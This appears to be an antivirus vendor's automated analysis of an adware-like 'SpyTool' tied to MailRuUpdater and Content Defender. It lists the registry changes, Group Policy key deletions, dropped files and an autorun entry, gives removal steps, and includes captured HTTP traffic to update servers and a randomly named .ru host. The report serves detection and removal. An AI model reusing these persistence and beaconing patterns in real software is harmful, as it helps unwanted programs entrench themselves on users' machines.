The process MailRuUpdater.exe:644 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "95 5B D4 01 18 50 54 6E 7D 57 5A 06 33 63 69 CC"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Direct3D\MostRecentApplication]
"Name" = "MailRuUpdater.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Mail.Ru\Tech\ptls\{4947360E-E26B-4CC9-BB40-F4A30EDCA39E}]
"RUNID" = "10"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Mail.Ru]
"SicSettings" = "22 serialization::archive 11 0 0 1 0 0 0 0 0 20 0 0 1 0 0 0 0 24 0 0 0"

The SpyTool deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{1ABB38CF-714D-4A68-966C-64A26DD06415}User]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{1ABB38CF-714D-4A68-966C-64A26DD06415}Machine]

The process MailRuUpdater.exe:264 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Mail.Ru\Tech\ptls\{EC32BCCC-7012-459F-8D79-6E7D38DC1ECD}]
"finished_time" = "Type: REG_QWORD, Length: 8"

[HKCU\Software\Mail.Ru\Tech\ptls\{453FD166-5BF4-4C00-AD14-4065187ABBFB}]
"done_components" = ""

[HKCU\Software\Mail.Ru\Tech\ptls\{4519D3B5-465C-4AE2-A905-960CA7D5385C}\ch]
"gdup" = "LlybSVbttQqpAxIsKaevGioKg0tb/axI90ISNjiusCMQPfcvMojIa8diIQwNno97RzqlYn6a0mjPbCJRSMjiN3RK2RVA8uxI6FUNXA=="

[HKCU\Software\Mail.Ru\Tech\ptls\{0ED2394C-62B6-4A80-A342-C2CA0B2A4E82}]
"finished_time" = "Type: REG_QWORD, Length: 8"

[HKCU\Software\Mail.Ru\Tech\ptls\{8DC7BF6A-58F3-4740-B600-34E37FFADC21}]
"finished_time" = "Type: REG_QWORD, Length: 8"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = ""
"Desktop" = ""

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\A]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCU\Software\Mail.Ru\Tech\ptls\{F581DE96-9AA1-45C8-8335-B7445525371A}]
"ie" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Mail.Ru\Tech]
"avedte" = "87 EE A3 42 B8 8B 27 7D 74 E4 97 46 F7 56 AC 05"

[HKCU\Software\Mail.Ru\Tech\ptls\{4C1D0C36-25B2-4774-80E8-DAE1E7898A1A}\ch]
"gdup" = "LlybSVbttQqpAxIsKaevGioKg0tb/axI90ISNjiusCMQPfcvMojIa8diIQwNno97RzqlYn6a0mjPbCJRSMjiN3RK2RVA8uxI6FUNXA=="

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\D]
"BaseClass" = "Drive"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\F]
"BaseClass" = "Drive"

[HKCU\Software\Mail.Ru\Tech\ptls\{5A38BFBE-DFD4-46C5-8598-EE133F10611F}]
"RUNID" = "10"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Mail.Ru\Tech\ptls\{4C1D0C36-25B2-4774-80E8-DAE1E7898A1A}]
"RUNID" = "12"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Mail.Ru\Tech\ptls\{F581DE96-9AA1-45C8-8335-B7445525371A}]
"CH" = "1"

[HKCU\Software\Mail.Ru\Tech\ptls\{B63A6D16-4F50-47C2-9BF7-A5D6E79C9EFD}\ch]
"gdup" = "LlybSVbttQqpAxIsKaevGioKg0tb/axI90ISNjiusCMQPfcvMojIa8diIQwNk497RzqlYn6a0mjPbCJRSMjiN3RK2RVA8uxI6FUNXA=="

[HKCU\Software\Mail.Ru\Tech\ptls\{E26CB86D-BD59-40B5-B285-55ACAC12C019}]
"RUNID" = "12"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "55 91 6C 91 D8 C0 BF FD B8 2A 1A 2C 3B 8D B4 63"

[HKCU\Software\Mail.Ru\Tech\ptls\{0E26AC42-4B6E-4C84-8291-A0CAC999E70D}]
"finished_time" = "Type: REG_QWORD, Length: 8"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Mail.Ru\Tech\ptls\{E26CB86D-BD59-40B5-B285-55ACAC12C019}]
"done_components" = ""

[HKCU\Software\Mail.Ru\Tech\ptls\{E60E6A0E-4092-4965-85BB-AA1ED8EBBC8E}\ch]
"gdup" = "LlybSVbttQqpAxIsKaevGioKg0tb/axI90ISNjiusCMQPfcvMojIa8diIQwNk497RzqlYn6a0mjPbCJRSMjiN3RK2RVA8uxI6FUNXA=="

[HKCU\Software\Mail.Ru\Tech\ptls\{F581DE96-9AA1-45C8-8335-B7445525371A}]
"finished_time" = "Type: REG_QWORD, Length: 8"

[HKCU\Software\Mail.Ru\Tech\ptls\{3CE4F0C3-2143-491F-8F20-27792166C41F}]
"RUNID" = "10"

[HKCU\Software\Mail.Ru\Tech\ptls\{F581DE96-9AA1-45C8-8335-B7445525371A}]
"ff" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\C]
"BaseClass" = "Drive"

[HKCU\Software\Mail.Ru\Tech\ptls\{4519D3B5-465C-4AE2-A905-960CA7D5385C}]
"RUNID" = "10"

[HKU\.DEFAULT\Software\Microsoft\Direct3D\MostRecentApplication]
"Name" = "MailRuUpdater.exe"

[HKCU\Software\Mail.Ru\Tech\ptls\{9A43760C-B8B0-44BA-8DB2-82041B01D78A}]
"finished_time" = "Type: REG_QWORD, Length: 8"

[HKCU\Software\Mail.Ru\Tech\ptls\{453FD166-5BF4-4C00-AD14-4065187ABBFB}]
"RUNID" = "10"

The SpyTool deletes the following registry key(s):

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects]
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{8DDB30C2-E913-489A-96FA-A1AC7ABEFAF3}User]
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{92B8FF34-5B00-4793-9BBF-27DCF2004CA0}Machine]
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{92B8FF34-5B00-4793-9BBF-27DCF2004CA0}User]
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{8DDB30C2-E913-489A-96FA-A1AC7ABEFAF3}Machine]

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Mail.Ru\Tech\ptls\{F581DE96-9AA1-45C8-8335-B7445525371A}]
"ch"
"ff"
"ie"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   verclsid.exe:2080
   cd.exe:2292
   cd.exe:2232
   condefsetup (19).exe:600
   mailruhomesearchvbm.exe:1568
   regsvr32.exe:1232
   MailRuUpdater.exe:1768
   MailRuUpdater.exe:644
   MailRuUpdater.exe:264

2. Delete the original SpyTool file.
   
3. Delete or disinfect the following files created/modified by the SpyTool:

   %Program Files%\Content Defender\cert\SSL\ContentDefender 2.cer (774 bytes)
   %Program Files%\Content Defender\cert\SSL\cert.db (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\mozcrt19.dll (7581 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nfregdrv.exe (1821 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\condefclean.exe (7716 bytes)
   %Program Files%\Content Defender\nfregdrv.exe (601 bytes)
   %Program Files%\Content Defender\nss\smime3.dll (601 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\certutil.exe (6324 bytes)
   %Program Files%\Content Defender\ssleay32.dll (2105 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\smime3.dll (7716 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows7_i386.sys (47 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\softokn3.dll (4061 bytes)
   %Program Files%\Content Defender\ContentDefenderPS.dll (13 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\certutil.exe (6324 bytes)
   %Program Files%\Content Defender\libeay32.dll (9098 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\nspr4.dll (1821 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\ContentDefenderControl.exe (10588 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\import_root_cert.exe (941 bytes)
   %Program Files%\Content Defender\nss\plds4.dll (17 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows8_amd64.sys (58 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows7_i386.sys (3516 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\cd.exe (6341 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\plds4.dll (17 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\condefclean.exe (7716 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\import_root_cert.exe (6724 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\import_root_cert.exe (941 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\plds4.dll (17 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\ssleay32.dll (4061 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\ContentDefender.zip (37274 bytes)
   %Program Files%\Content Defender\nss\softokn3.dll (2105 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\plds4.dll (580 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\softokn3.dll (25100 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\tdi__amd64.sys (61 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\softokn3.dll (25100 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\ContentDefenderPS.dll (6116 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\plc4.dll (20 bytes)
   %System%\drivers\condef.sys (56 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\condefclean.exe (941 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\condefclean.exe (941 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\driver\tdi__i386.sys (4012 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\smime3.dll (7716 bytes)
   %Program Files%\Content Defender\nss\mozcrt19.dll (4545 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\ContentDefenderPS.dll (941 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\libeay32.dll (86270 bytes)
   %Program Files%\Content Defender\nss\nspr4.dll (673 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\libeay32.dll (11493 bytes)
   %Program Files%\Content Defender\import_root_cert.exe (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\ContentDefenderControl.exe (1821 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows7_amd64.sys (4012 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\nspr4.dll (11620 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\ContentDefenderPS.dll (484 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nfregdrv.exe (9476 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\nspr4.dll (11620 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\plc4.dll (20 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows8_amd64.sys (4356 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nfregdrv.exe (9196 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\import_root_cert.exe (6724 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\mozcrt19.dll (7581 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\ContentDefenderControl.exe (1821 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\nss3.dll (24908 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\certutil.exe (941 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\cd.exe (41084 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows8_i386.sys (48 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\ssleay32.dll (26028 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\nss3.dll (4061 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\smime3.dll (941 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\plc4.dll (580 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\mozcrt19.dll (48748 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\cd.exe (34724 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\driver\tdi__amd64.sys (4356 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\softokn3.dll (4061 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\certutil.exe (941 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\tdi__i386.sys (56 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\libeay32.dll (156321 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\libeay32.dll (20400 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\plds4.dll (580 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\ssleay32.dll (32684 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\mozcrt19.dll (48748 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\ssleay32.dll (4861 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\smime3.dll (941 bytes)
   %Program Files%\Content Defender\nss\certutil.exe (601 bytes)
   %Program Files%\Content Defender\nss\plc4.dll (20 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\nss3.dll (24908 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\ContentDefenderPS.dll (13 bytes)
   %Program Files%\Content Defender\ConDefSetup.exe (41656 bytes)
   %Program Files%\Content Defender\condefclean.exe (601 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\ContentDefenderControl.exe (8836 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\cd.exe (5381 bytes)
   %Documents and Settings%\All Users\Start Menu\Programs\Content Defender\Settings.lnk (804 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows7_amd64.sys (56 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\nspr4.dll (1821 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\nss3.dll (4061 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\plc4.dll (580 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nfregdrv.exe (1821 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows8_i386.sys (3516 bytes)
   %Program Files%\Content Defender\nss\nss3.dll (2105 bytes)
   %Program Files%\Content Defender\ContentDefenderControl.exe (673 bytes)
   %Program Files%\Content Defender\cd.exe (3073 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\891CCC43-641B-4FA9-A78F-330AA176ACF8\condefsetup (19).exe (39950 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\352F3B78-065A-4864-8594-20DF23631FCF\05a00036.exe (7972 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\AED1F5A4-9A39-4103-88D4-3983C5D63522\mailruhomesearchvbm.exe (30622 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\7ba3-7c18-1e35-93ab\IESearchPlugin.dll (15801 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\c5b88721db08c824db69d0bbc702beb8_75ed9567-aa58-4c8e-a8ea-3cad7c47ab03 (44 bytes)
   %System%\GroupPolicy\gpt.ini (280 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\GoMailRu.ico (14076 bytes)
   %System%\GroupPolicy\Machine\Registry.pol (8 bytes)
   %Documents and Settings%\%current user%\Application Data\MailProducts\Nrs.dat (32 bytes)
   %Documents and Settings%\All Users\Favorites\Mail.Ru.url (152 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\Sputnik\IESearchPlugin.dll (17072 bytes)
   %Documents and Settings%\%current user%\Desktop\Искать в Интернете.url (209 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\7ba3-7c18-1e35-93ab\mrsearch (84212 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\Mail.Ru.lnk (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\Sputnik\MailRu.ico (14076 bytes)
   %System%\GroupPolicy\User\Registry.pol (8 bytes)
   %Documents and Settings%\All Users\Favorites\Mail.Ru Агент - используй для общения!.url (210 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\Sputnik\Report\3DD21 (896 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\MailRuUpdater.exe (749560 bytes)
   %Documents and Settings%\All Users\Application Data\Mail.Ru\Id (38 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Mail.Ru.lnk (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\mrkeeper.exe (155163 bytes)
   %Program Files%\Mail.Ru\MailRuUpdater\MailRuUpdater.exe (43956 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\MailRuUpdater.exe (43956 bytes)
   

4. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "MailRuUpdater" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\MailRuUpdater.exe"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 13
1b0425cd6f3b13b908afbe3875b4faac
c2c1569379341f49fd57a51b58d20459
b4d5f57902229c0a1948eee029b5d2de
a9b0c74d402b1015acffef7c734cf375
4917239af737b7478ace05763b76142c
33bfc72d39ef562dd6aa1982c3127483
c4d4b73b3f7a4afd989fdf2128a71f1c
320919245fcc19f57670d50dc70ec007
a1a2404fce8cbc439e87fc371ca3e6d8
d6e15ff9236792816821b9c096afab61
4734a50c93e13f380581fc71233bc946
e3dcd44603f2f8e6e6bdb5e5328e777e
f506cb64809ea98670dbc91c93766248

Network Activity

URLs

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /tasks.mrdj?masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=1.23.0.220&tool=mrupdater&guid={EB34BD17-5115-4756-BA31-330B3560E00C}&mailru_guard=0&mailru_updater=1&comp_mem=511&tool_mem=8&elapsed_time=10&mr_service=0 HTTP/1.1

User-Agent: RemoteConfigFetcher

Host: xml.binupdate.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 19 Dec 2015 23:21:48 GMT

Content-Type: application/x-mrd

Connection: close

Content-Transfer-Encoding: 8bit

Content-Length: 7715

d..>O{jsd4/4h...-uO:8K?L60(0E71-..~...{~..t.w.t..m.imnT...^.* (.:0<~az-*"3y^Z[Xr=;#%/hshvwiNJKHb....Y@YZ.......RCddebH.......=.................................................................................................................................~wqnn4z|y{t}.<ce ibShb.jjYge`i/7E.7523D2>?H.9;8.T....n.j.....a....oq.cimzocd..f.z}uy.7krg=OMJKc%.._F[....Z.}z{S.....IPIYWJomjkC................................................................................................................................ .1....:dsgbzqtO.|dcyc}q%<%pqwd,5745.N@HR....BTBFAIEH.."./,.`WRT03.=);4 ulu/Y[XYFl.$.)"."*$=axaquwtu.ppq.Z.}zP.4, ]R( E&$SUNVY&.............................................................................................................................../'/1/#/-:. VQ?PQ>KI4NHKK?Cx&9"z.674.^TX...AFFW.:&'$.Y_GAC......*VWT~(? .>50.# 8?='95ipi<53 hIKHI]....XCXU.......Mdde.FcanD.T&&SS...............................................................................................................................=]hooutHvdty`0 0t..... KocfoGgmaF....001>K?=:O.:&'.W...i.........si.kjt.nbey.bh.~{u..xz.:d.d8HHIv\...XCX...._xxyfL.....J]FTTOhhi...............................................................................................................................?/-0....5epfe{ruP~.edx`|~$?$wpte.4452.MAGS....^^JZDAN.#!.[..* .[.....j.`z.mma.eh~.`u.s{e...rpuwx9HHE.XCX.||}zP...LWL.....JomjkC...........................................................................................................

<<< skipped >>>

POST /api HTTP/1.0

Connection: keep-alive

Content-Length: 158

Host: y9807akgtzcrolb.nidetafzy.ru

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

....x.-.

.1....g....N.m.....EWA.w..O.BB....0-k.fV!K.D...GF...J....a...a.......r..?.:\vG...YUt..R....D.>....M%.d..l.L:B....9.....{9M.

..e....2h....@......4.

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Sat, 19 Dec 2015 23:21:34 GMT

Content-Type: text/html; charset=utf-8

Connection: close

X-Powered-By: PHP/5.4.17

7...x......0...].....l.....k..;."...#f.*.)H]..."O.W1._..O..}?.e.M..

GET /go_iedse2.7z HTTP/1.1

Host: xtnmailru.cdnmail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 19 Dec 2015 23:21:41 GMT

Content-Type: application/x-7z-compressed

Content-Length: 657026

Connection: close

Last-Modified: Fri, 18 Dec 2015 16:55:41 GMT

ETag: "56743a8d-a0682"

Accept-Ranges: bytes

7z..'.....a.........i.........(..&..p.........../D.|...!.6.uc..L..BW..........*....~..4. mW.....#.{*...u..Z.t.'.r......2y ......}..<...Y.N....qD]}...."N`..acl.V.j..M..).2.Y.t..:X......}...(..m0...L..u&f.s.Py.... ..5..x..W>o.='.q.....V0..@.....U......r.}...S.g....`P..A..-.n.T(c~........E`O^.y..9.n..|.......i.f.b.h...I.f..}V...&..I.|d.......B...h{Z.[4.......N..C........*?..B../N._ov.t.N.O3.&..F.f..% ...........'".9b....AZP#........DQ..q..2.!..f..G5.s.4..zY.3.\G.v."b.s....a.....[..J...!A....n.....w.*..[.T.{.jK.K.$........u...J..n....7OO3._Q.ih.%.|.....LOAA.....Xe...n..OS......m;lEcw.N..?DUc...q.Q.f.t....q;...Z..\.9yP..n}8..3..>..L.&..e..q.-.......Qq&.."..NT.C....R.V."\......A.c.."..0?T.k...$z.4..x.w[7.X..b....SZ@s/**.#7R...N...m......j..t..c..i}IO..s....O....}-.9...#....P.).o.c........I....a.p...a`.GH..~.F)........-]* .....P......\ .,/..]..\..X{..S.$S..:......."(u..$.......J.....A...s...i...x..M.......n....6#.'.83..*. ../E.-.0.&.Xn....v..6.....WX...hL....H"..!.s..F95.WL./.aF...@..%/$.u..%.A..cR..iD..*.q7..@....S..^...u.. I....-...........t.<.uB...Y"2..X.cB[.....cZ...i.j.m....;....~I........~b:a..?D4.u....W....<.-../.X- ...\.6...1.........D....'.$...6............"g{5.v.&....]/...H....jVgnB.........C...L0..C.ZI.d(.K.b'..C@...z.w`...........|}..a.2..#...t..-m...4.......@).9.(....y..2K.3."r.r.s.}L'A....\.. ..d...X.>j.9...o.........|.1...5.......a.\q...*..}.&...lC..:.*...[*.....r.Z....O."1.U.....0T.4.>....f.{...Df....im... .3|.;.P.....;.......M."...tA..!/....-,-{7..3.[W...........18.....;vB......]e

<<< skipped >>>

GET /update/2/version.txt?type=mruinfo&GUID={EB34BD17-5115-4756-BA31-330B3560E00C}&tool=mrupdater&amigo_conv=0&ovr_amigo=0&ovr_internet=0&ovr_chrome=0&ie_ver=6.0.2900.5512&iedse=&iehp=&masterid={0E7CAC24-FE0E-4B82-8A9F-811F4893DB2D}&user_id={772AD6B2-D0DB-4F37-A078-C79AF1CBC43F}&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&admin=1&ver=1.23.0.220&mailru_guard=0&mailru_updater=1&comp_mem=511&tool_mem=8&elapsed_time=1&mr_service=0 HTTP/1.1

User-Agent: FULLSTUFF

Host: mrds.mail.ru

Accept: */*

Accept-Encoding: identity;q=1.0, *;q=0

Connection: Close

HTTP/1.1 204 No Content

Server: nginx

Date: Sat, 19 Dec 2015 23:21:39 GMT

Connection: close

